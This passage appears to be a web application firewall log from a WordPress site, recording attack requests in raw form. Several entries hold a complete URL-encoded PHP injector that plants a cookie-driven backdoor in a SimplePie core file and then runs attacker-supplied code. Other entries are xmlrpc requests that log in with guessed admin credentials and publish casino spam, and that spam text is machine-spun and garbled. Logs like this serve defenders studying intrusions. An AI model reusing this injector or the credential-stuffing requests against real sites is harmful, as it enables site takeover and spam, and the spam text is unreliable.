255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn2tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3255\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nkh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:55:15","200.25.47.120","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> rs:AOn4CLCR3thH8hpLV1Bxc1XlO6l51Vx0hg\" alt=\"doubledown casino games online\" style=\"padding: 20px;\" align=\"right\" border=\"0\">\n<p>Sign up, gamble and you may winnings – effortless. What are the most popular app company to have pokies? Pokies is actually a phrase commonly used around australia and The new Zealand to indicate ports. Select the right pokie websites because of the discovering the gambling enterprise analysis and you can finding the of these that suit your personal style and requires. It is important on how to ensure you is betting legally from the examining your state’s laws and regulations before playing. Added bonus series and you can crazy features is haphazard, it doesn't matter how a lot of time your’ve starred.<\/p>\r\n<h2 id=\"toc-5\">Enjoy On the web Pokies Real money – Finest Real money Pokies Sites<\/h2>\n<p>While you are an amateur inquiring where can i Gamble IGT free harbors zero down load no subscription on the web, IGT ports system and mobile gambling enterprises provide you with IGT video game. Join the required the fresh casinos playing the newest position games and possess the best welcome incentive now offers for 2026. Casinos on the internet features easily computed the new immense popularity of pokies and features because the tailored lots of unique incentives for only these professionals. More conventional step three-reel pokies are also available that will or will most likely not provide extra events for example free game otherwise second-monitor features. Select the right high RTP pokies within the 2026 because of the winning contests in the better position organization. The security comes very first — that’s why we see legal United states real money pokies on the internet, gambling enterprise encoding, defense requirements, and believe analysis.<\/p>\n<p>A red Tits score means reduced you to definitely 59% or a reduced amount of athlete ratings try self-confident. A green Jackpot Official score implies that at least sixty% from pro recommendations are positive. A red Tits get is actually shown when below sixty% from pro analysis is self-confident.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T10:55:15<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[lucky-larry's-lobstermania-demo-enjoy-totally-free-slot-on-the-internet]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nhost:47.254.126.238\nconnection:Close\ncontent-type:text\/xml; charset=utf-8\ncontent-length:7555\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Lucky Larry's Lobstermania Demo Enjoy Totally free Slot On the internet]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Finest Pokie Game to play at best Pokies Internet sites<\/a><\/li><li><a href=\"#toc-1\">Almost every other Online game away from IGT<\/a><\/li><li><a href=\"#toc-2\">Reel Pokies (Videos Harbors)<\/a><\/li><li><a href=\"#toc-3\">Republic Empire Hold & Victory<\/a><\/li><li><a href=\"#toc-4\">Review of Lobstermania Slot A real income<\/a><\/li><li><a href=\"#toc-5\">Enjoy On the web Pokies Real money – Finest Real money Pokies Sites<\/a><\/li><\/ul><\/div>\n<p>To the LiveBet Casino you could potentially gamble Happy Larry's Lobstermania Higher Stakes at no cost in your internet browser. A lot more epic regarding the newest accommodative for the slot would be the fact referring that have simple-to-understand laws and you will recommendations. <!--more--> <\/p><a href=\"https:\/\/starburstslotonline.com\/\"><img src=\"https:\/\/blog.coinsaga.com\/wp-content\/uploads\/2020\/08\/best-bitcoin-casino-blogs.jpg\" alt=\"starburst online casino\"><\/a>\n<p>In order that folks cannot lose out on an amazing angling expedition, King Tell you Video game creating this video game incorporated an array of gaming alternatives. Fortunate Larry’s Lobstermania reel signs is crabs, a logo design symbol, an excellent lighthouse, a boat, a drifting balloon, a seafood, a good bird, egg, and starfish. The fresh lighthouse is on the ultimate remaining-hand side of the games’s 5 x step three reel grid entirely secure inside light.<\/p>\r\n<h2 id=\"toc-0\">Finest Pokie Game to play at best Pokies Internet sites<\/h2>\n<p>The choice techniques is actually strictly to own amusement, so merely gain benefit from the cartoon and you can promise you arrived for the a good lucrative group of lobsters.” Immediately after choosing their quantity of picks, the newest screen transitions to another scene where Fortunate Larry is actually on the their ship, prepared to pull-up lobster pots. Instead of most other symbols, Scatters need not property on the a certain payline.<\/p>\r\n\r\n<h2 id=\"toc-1\">Almost every other Online game away from IGT<\/h2>\n<img src=\"https:\/\/www.betrugstest.com\/bilder\/sunmaker-zahlungsmethoden.jpg\" alt=\"top 3 online casino\" border=\"1\" align=\"left\" style=\"padding: 10px;\">\n<p>When a cover lineawards a prize a line having a corresponding colour connects the new fish to your symbols one form the new successful consolidation. The brand new numbered striped fish emblems liner each party of your own to try out reels display screen are only indeed there to have site. Around three or more ones signs, once they appear on a working shell out range, triggerthe Buoy Added bonus game described below. So it icon substitutes for everybody most other symbols from the game except the fresh Scatter and you can Added bonus symbols. Fortunate Larry’s Lobstermania try an excellent 5-reel, 3-line slot machine game game. Far more desire is actually paid off to the details of the brand new animations within the thesegames than to the fresh animated emails themselves.<\/p>\r\n\r\n<h2 id=\"toc-2\">Reel Pokies (Videos Harbors)<\/h2>\n<p>Using its effortless design and you can game play program, Lobstermania status is equally possible for an amateur professional. The brand new nautical theme looks in just about any form of slot online game by numerous designers. Pleased Larry’s Lobstermania app will get players amazing extra parts aligned so you is boost playing while increasing winning odds. Talk about plenty of pleasant Las vegas ports, find imaginative new features, and find out as to why Lobstermania Ports is the greatest place to choose position enthusiasts. Play and therefore position for the mobiles brings a smooth and you may also lead to play become.<\/p>\r\n<h2 id=\"toc-3\">Republic Empire Hold &rs=AOn4CLCR3thH8hpLV1Bxc1XlO6l51Vx0hg\" alt=\"doubledown casino games online\" style=\"padding: 20px;\" align=\"right\" border=\"0\">\n<p>Sign up, gamble and you may winnings – effortless. What are the most popular app company to have pokies? Pokies is actually a phrase commonly used around australia and The new Zealand to indicate ports. Select the right pokie websites because of the discovering the gambling enterprise analysis and you can finding the of these that suit your personal style and requires. It is important on how to ensure you is betting legally from the examining your state’s laws and regulations before playing. Added bonus series and you can crazy features is haphazard, it doesn't matter how a lot of time your’ve starred.<\/p>\r\n<h2 id=\"toc-5\">Enjoy On the web Pokies Real money – Finest Real money Pokies Sites<\/h2>\n<p>While you are an amateur inquiring where can i Gamble IGT free harbors zero down load no subscription on the web, IGT ports system and mobile gambling enterprises provide you with IGT video game. Join the required the fresh casinos playing the newest position games and possess the best welcome incentive now offers for 2026. Casinos on the internet features easily computed the new immense popularity of pokies and features because the tailored lots of unique incentives for only these professionals. More conventional step three-reel pokies are also available that will or will most likely not provide extra events for example free game otherwise second-monitor features. Select the right high RTP pokies within the 2026 because of the winning contests in the better position organization. The security comes very first — that’s why we see legal United states real money pokies on the internet, gambling enterprise encoding, defense requirements, and believe analysis.<\/p>\n<p>A red Tits score means reduced you to definitely 59% or a reduced amount of athlete ratings try self-confident. A green Jackpot Official score implies that at least sixty% from pro recommendations are positive. A red Tits get is actually shown when below sixty% from pro analysis is self-confident.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T10:55:15<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[lucky-larry's-lobstermania-demo-enjoy-totally-free-slot-on-the-internet]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>& Victory<\/h2>\n<p>There is an arbitrary 5x multiplier which can appear randomly to improve your buoy victories. The new spread out icon pays out from anyplace on the reels. The major possible prize for each and every twist because of it position try an number of eleven,250x their bet.<\/p>\r\n<h2 id=\"toc-4\">Review of Lobstermania Slot A real income<\/h2>\n<img src=\"https:\/\/i.ytimg.com\/vi\/ak79yxmBufI\/oar2.jpg?sqp=-oaymwEVCJUDENAFSFryq4qpAwcIARUAAIhC"]
["2026-05-12 18:55:17","200.25.47.120","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> rs:AOn4CLCR3thH8hpLV1Bxc1XlO6l51Vx0hg\" alt=\"doubledown casino games online\" style=\"padding: 20px;\" align=\"right\" border=\"0\">\n<p>Sign up, gamble and you may winnings – effortless. What are the most popular app company to have pokies? Pokies is actually a phrase commonly used around australia and The new Zealand to indicate ports. Select the right pokie websites because of the discovering the gambling enterprise analysis and you can finding the of these that suit your personal style and requires. It is important on how to ensure you is betting legally from the examining your state’s laws and regulations before playing. Added bonus series and you can crazy features is haphazard, it doesn't matter how a lot of time your’ve starred.<\/p>\r\n<h2 id=\"toc-5\">Enjoy On the web Pokies Real money – Finest Real money Pokies Sites<\/h2>\n<p>While you are an amateur inquiring where can i Gamble IGT free harbors zero down load no subscription on the web, IGT ports system and mobile gambling enterprises provide you with IGT video game. Join the required the fresh casinos playing the newest position games and possess the best welcome incentive now offers for 2026. Casinos on the internet features easily computed the new immense popularity of pokies and features because the tailored lots of unique incentives for only these professionals. More conventional step three-reel pokies are also available that will or will most likely not provide extra events for example free game otherwise second-monitor features. Select the right high RTP pokies within the 2026 because of the winning contests in the better position organization. The security comes very first — that’s why we see legal United states real money pokies on the internet, gambling enterprise encoding, defense requirements, and believe analysis.<\/p>\n<p>A red Tits score means reduced you to definitely 59% or a reduced amount of athlete ratings try self-confident. A green Jackpot Official score implies that at least sixty% from pro recommendations are positive. A red Tits get is actually shown when below sixty% from pro analysis is self-confident.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T10:55:16<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nhost:47.254.126.238\nconnection:Close\ncontent-type:text\/xml; charset=utf-8\ncontent-length:7622\n\n<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Lucky Larry's Lobstermania Demo Enjoy Totally free Slot On the internet]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Finest Pokie Game to play at best Pokies Internet sites<\/a><\/li><li><a href=\"#toc-1\">Almost every other Online game away from IGT<\/a><\/li><li><a href=\"#toc-2\">Reel Pokies (Videos Harbors)<\/a><\/li><li><a href=\"#toc-3\">Republic Empire Hold & Victory<\/a><\/li><li><a href=\"#toc-4\">Review of Lobstermania Slot A real income<\/a><\/li><li><a href=\"#toc-5\">Enjoy On the web Pokies Real money – Finest Real money Pokies Sites<\/a><\/li><\/ul><\/div>\n<p>To the LiveBet Casino you could potentially gamble Happy Larry's Lobstermania Higher Stakes at no cost in your internet browser. A lot more epic regarding the newest accommodative for the slot would be the fact referring that have simple-to-understand laws and you will recommendations. <!--more--> <\/p><a href=\"https:\/\/starburstslotonline.com\/\"><img src=\"https:\/\/blog.coinsaga.com\/wp-content\/uploads\/2020\/08\/best-bitcoin-casino-blogs.jpg\" alt=\"starburst online casino\"><\/a>\n<p>In order that folks cannot lose out on an amazing angling expedition, King Tell you Video game creating this video game incorporated an array of gaming alternatives. Fortunate Larry’s Lobstermania reel signs is crabs, a logo design symbol, an excellent lighthouse, a boat, a drifting balloon, a seafood, a good bird, egg, and starfish. The fresh lighthouse is on the ultimate remaining-hand side of the games’s 5 x step three reel grid entirely secure inside light.<\/p>\r\n<h2 id=\"toc-0\">Finest Pokie Game to play at best Pokies Internet sites<\/h2>\n<p>The choice techniques is actually strictly to own amusement, so merely gain benefit from the cartoon and you can promise you arrived for the a good lucrative group of lobsters.” Immediately after choosing their quantity of picks, the newest screen transitions to another scene where Fortunate Larry is actually on the their ship, prepared to pull-up lobster pots. Instead of most other symbols, Scatters need not property on the a certain payline.<\/p>\r\n\r\n<h2 id=\"toc-1\">Almost every other Online game away from IGT<\/h2>\n<img src=\"https:\/\/www.betrugstest.com\/bilder\/sunmaker-zahlungsmethoden.jpg\" alt=\"top 3 online casino\" border=\"1\" align=\"left\" style=\"padding: 10px;\">\n<p>When a cover lineawards a prize a line having a corresponding colour connects the new fish to your symbols one form the new successful consolidation. The brand new numbered striped fish emblems liner each party of your own to try out reels display screen are only indeed there to have site. Around three or more ones signs, once they appear on a working shell out range, triggerthe Buoy Added bonus game described below. So it icon substitutes for everybody most other symbols from the game except the fresh Scatter and you can Added bonus symbols. Fortunate Larry’s Lobstermania try an excellent 5-reel, 3-line slot machine game game. Far more desire is actually paid off to the details of the brand new animations within the thesegames than to the fresh animated emails themselves.<\/p>\r\n\r\n<h2 id=\"toc-2\">Reel Pokies (Videos Harbors)<\/h2>\n<p>Using its effortless design and you can game play program, Lobstermania status is equally possible for an amateur professional. The brand new nautical theme looks in just about any form of slot online game by numerous designers. Pleased Larry’s Lobstermania app will get players amazing extra parts aligned so you is boost playing while increasing winning odds. Talk about plenty of pleasant Las vegas ports, find imaginative new features, and find out as to why Lobstermania Ports is the greatest place to choose position enthusiasts. Play and therefore position for the mobiles brings a smooth and you may also lead to play become.<\/p>\r\n<h2 id=\"toc-3\">Republic Empire Hold &rs=AOn4CLCR3thH8hpLV1Bxc1XlO6l51Vx0hg\" alt=\"doubledown casino games online\" style=\"padding: 20px;\" align=\"right\" border=\"0\">\n<p>Sign up, gamble and you may winnings – effortless. What are the most popular app company to have pokies? Pokies is actually a phrase commonly used around australia and The new Zealand to indicate ports. Select the right pokie websites because of the discovering the gambling enterprise analysis and you can finding the of these that suit your personal style and requires. It is important on how to ensure you is betting legally from the examining your state’s laws and regulations before playing. Added bonus series and you can crazy features is haphazard, it doesn't matter how a lot of time your’ve starred.<\/p>\r\n<h2 id=\"toc-5\">Enjoy On the web Pokies Real money – Finest Real money Pokies Sites<\/h2>\n<p>While you are an amateur inquiring where can i Gamble IGT free harbors zero down load no subscription on the web, IGT ports system and mobile gambling enterprises provide you with IGT video game. Join the required the fresh casinos playing the newest position games and possess the best welcome incentive now offers for 2026. Casinos on the internet features easily computed the new immense popularity of pokies and features because the tailored lots of unique incentives for only these professionals. More conventional step three-reel pokies are also available that will or will most likely not provide extra events for example free game otherwise second-monitor features. Select the right high RTP pokies within the 2026 because of the winning contests in the better position organization. The security comes very first — that’s why we see legal United states real money pokies on the internet, gambling enterprise encoding, defense requirements, and believe analysis.<\/p>\n<p>A red Tits score means reduced you to definitely 59% or a reduced amount of athlete ratings try self-confident. A green Jackpot Official score implies that at least sixty% from pro recommendations are positive. A red Tits get is actually shown when below sixty% from pro analysis is self-confident.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T10:55:16<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>& Victory<\/h2>\n<p>There is an arbitrary 5x multiplier which can appear randomly to improve your buoy victories. The new spread out icon pays out from anyplace on the reels. The major possible prize for each and every twist because of it position try an number of eleven,250x their bet.<\/p>\r\n<h2 id=\"toc-4\">Review of Lobstermania Slot A real income<\/h2>\n<img src=\"https:\/\/i.ytimg.com\/vi\/ak79yxmBufI\/oar2.jpg?sqp=-oaymwEVCJUDENAFSFryq4qpAwcIARUAAIhC"]
["2026-05-12 18:55:23","118.139.167.171","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/MySQL.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B1%255D%2528%2529.%2524p%255B18%255D%253Bif%2528%2521%2524p%255B7%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B16%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B20%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL3xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3255\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 